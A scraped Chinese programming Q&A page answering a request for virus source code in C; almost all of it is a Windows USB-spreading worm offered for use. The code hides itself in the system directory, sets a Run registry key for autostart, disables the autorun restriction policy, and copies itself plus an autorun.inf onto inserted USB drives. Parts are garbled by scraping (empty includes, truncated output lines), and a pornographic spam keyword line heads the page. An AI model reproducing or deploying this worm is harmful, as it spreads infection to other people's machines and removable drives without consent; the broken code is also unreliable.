日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

病毒c语言代码大全,谁有C语言编写的病毒源代码?

發布時間:2025/3/11 编程问答 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 病毒c语言代码大全,谁有C语言编写的病毒源代码? 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一個c病毒源代碼

#include

#include

#include

#include

#include

#pragma comment(lib,'shlwapi.lib')

#define TIMER 1//計時器

//function

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程

//獲取盤符

TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒從U盤啟動時用到的函數

BOOL FileExist(TCHAR *path);//測試一個文件是否存在

BOOL GetSelfPath(TCHAR *path);//Get the virus's path

//BOOL FindU(TCHAR *u);//check whether u exist, u[2]

BOOL GetSysPath(TCHAR *path);//得到系統路徑

BOOL CopyToSysAndSet(HWND hwnd);//復制自身到系統目錄和設置

BOOL SetFileAttrib(TCHAR *path);//設置path所指文件的屬性

BOOL RegAutoRun(TCHAR *path);//修改注冊表,實現自啟動

//從C盤啟動時用到函數

BOOL CopyToUAndSet();//復制自己到U盤

BOOL CreateAutoRunFile(TCHAR *path);//在U盤下生成autorun.inf文件

BOOL FindSelf();//測試自己是否在已經執行了

//global variable

TCHAR szExePath[MAX_PATH];//the virus's path

TCHAR U[2];//保存U盤的盤符

TCHAR szSysPath[MAX_PATH];//system path

//constant

const TCHAR *szExeName='bbbbb.exe';

const TCHAR *szSysName='aaaaa.exe';

const TCHAR *szAutoRunFile='AutoRun.inf';

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,

PSTR szCmdLine, int iCmdShow)

{

static TCHAR szAppName[]=TEXT ('UUUUUU');

HWND hwnd;

MSG msg;

WNDCLASS wndclass;

wndclass.style =0;

wndclass.lpfnWndProc =WndProc;

wndclass.cbClsExtra =0;

wndclass.cbWndExtra =0;

wndclass.hInstance =hInstance;

wndclass.hIcon =0;

wndclass.hCursor =0;

wndclass.hbrBackground =0;

wndclass.lpszMenuName =NULL;

wndclass.lpszClassName =szAppName;

if (!RegisterClass (&wndclass))

{

MessageBox (NULL,TEXT('Program requires Windows NT!'),

szAppName, MB_ICONERROR);

return 0;

}

hwnd = CreateWindow (szAppName, NULL,

WS_DISABLED,

0, 0,

0, 0,

NULL, NULL, hInstance, NULL);

while (GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage (&msg);

DispatchMessage (&msg);

}

return msg.wParam;

}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)

{

PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;

switch(wParam)

{

case DBT_DEVICEARRIVAL: //插入

if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)

{

PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;

U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盤盤符

//MessageBox(0,U,'Notice!',MB_OK);

CopyToUAndSet();//拷到u盤

}

break;

case DBT_DEVICEREMOVECOMPLETE: //設備刪除

break;

}

return LRESULT();

}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)

{

switch(message)

{

case WM_Create: //處理一些要下面要用到的全局變量

U[1]=':';

GetSysPath(szSysPath);//得到系統路徑

SetTimer(hwnd,TIMER,5000,0);//啟動計時器

GetSelfPath(szExePath);//得到自身的路徑

return 0;

case WM_TIMER: //timer message

if(szExePath[0]==szSysPath[0]) //如果是系統盤啟動的

SendMessage(hwnd,WM_DEVICECHANGE,0,0);//檢測有沒有插入設備消息

else

{

CopyToSysAndSet(hwnd);//拷到系統盤并自啟動

}

return 0;

case WM_DEVICECHANGE:

OnDeviceChange(hwnd,wParam,lParam);

return 0;

case WM_DESTROY:

KillTimer(hwnd,TIMER);

PostQuitMessage(0);

return 0;

}

return DefWindowProc(hwnd, message, wParam, lParam);

}

TCHAR FirstDriveFromMask(ULONG unitmask)

{

char i;

for (i = 0; i < 26; i)

{

if (unitmask & 0x1)//看該驅動器的狀態是否發生了變化

break;

unitmask = unitmask >> 1;

}

return (i 'A');

}

BOOL GetSelfPath(TCHAR *path)

{

if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目錄

{

return TRUE;

}

else

return FALSE;

}

BOOL GetSysPath(TCHAR *path)

{

return GetSystemDirectory(path,MAX_PATH);//得到系統路徑

}

BOOL CopyToSysAndSet(HWND hwnd)

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,szSysPath);

lstrcat(szPath,'\\');

lstrcat(szPath,szSysName);//得到復制到系統目錄的完整目錄

if(!FileExist(szPath))//檢測系統目錄是否已經存在復制的文件

{

CopyFile(szExePath,szPath,FALSE);

RegAutoRun(szPath);

return SetFileAttrib(szPath);

}

else

{

if(!FindSelf())//檢測自己有沒有運行

{

//MessageBox(0,szExePath,szPath,MB_OK);

WinExec(szPath,SW_HIDE);//沒有就執行

SendMessage(hwnd,WM_CLOSE,0,0);//結束自己

}

}

return FALSE;

}

BOOL FileExist(TCHAR *path)//檢測PATH所指的路徑的文件是否存在

{

int result;

result=PathFileExists(path);

if(result==1)

return TRUE;

else

return FALSE;

}

BOOL SetFileAttrib(TCHAR *path)

{

return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);

}

BOOL RegAutoRun(TCHAR *path)//修改注冊表實現自啟動

{

HKEY hkey;

DWORD v=0;

RegOpenKey(HKEY_CURRENT_USER,'Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer',&hkey);

RegSetValueEx(hkey,'NoDriveTypeAutoRun',0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));

if(RegOpenKey(HKEY_LOCAL_MACHINE,'SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run',

&hkey)==ERROR_SUCCESS)

{

RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));

RegCloseKey(hkey);

return TRUE;

}

else

return FALSE;

}

BOOL CopyToUAndSet()

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,U);

lstrcat(szPath,'\\');

lstrcat(szPath,szExeName);//得到指向U盤的完整目錄

TCHAR szAutoFile[MAX_PATH];

lstrcpy(szAutoFile,U);

lstrcat(szAutoFile,'\\');

lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))

{

CreateAutoRunFile(szAutoFile);

SetFileAttrib(szAutoFile);

}

if(!FileExist(szPath))

{

CopyFile(szExePath,szPath,FALSE);

return SetFileAttrib(szPath);

}

return FALSE;

}

BOOL CreateAutoRunFile(TCHAR *path) //在U盤下創建一個autorun.inf文件

{

ofstream fout;

fout.open(path);

if(fout)

{

fout<

fout<

fout<

fout<

fout<

fout.close();

return TRUE;

}

return FALSE;

}

BOOL FindSelf(){

PROCESSENTRY32 pe;

HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe.dwSize=sizeof(PROCESSENTRY32);

if(Process32First(hShot,&pe)){

do{

if(lstrcmp(pe.szExeFile,szSysName)==0)

{

CloseHandle(hShot);

return TRUE;

}

}while(Process32Next(hShot,&pe));

}

CloseHandle(hShot);

return FALSE;

}

總結

以上是生活随笔為你收集整理的病毒c语言代码大全,谁有C语言编写的病毒源代码?的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。